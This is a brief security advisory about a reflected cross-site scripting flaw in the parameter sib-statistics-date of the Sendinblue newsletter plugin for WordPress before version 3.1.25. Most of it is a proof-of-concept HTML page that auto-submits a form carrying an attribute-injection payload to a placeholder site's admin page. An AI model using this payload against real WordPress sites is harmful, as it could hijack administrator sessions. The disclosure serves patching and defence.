The Newsletter, SMTP, Email marketing and Subscribe forms by Sendinblue WordPress plugin before 3.1.25 does not escape the sib-statistics-date parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting issue
Proof of Concept:
<html>
<body>
<form action="https://example.com/wp-admin/admin.php?page=sib_page_statistics" id="hack" method="POST">
<input type="hidden" name="sib-statistics-date" value='2021 - 2021 - " onmouseover=alert(/XSS/) style=width:100%;height:3000px test="' />
<input type="submit" value="Submit request" />
</form>
</body>
<script>
var form1 = document.getElementById('hack');
form1.submit();
</script>
</html>
Reference:
Leave a Reply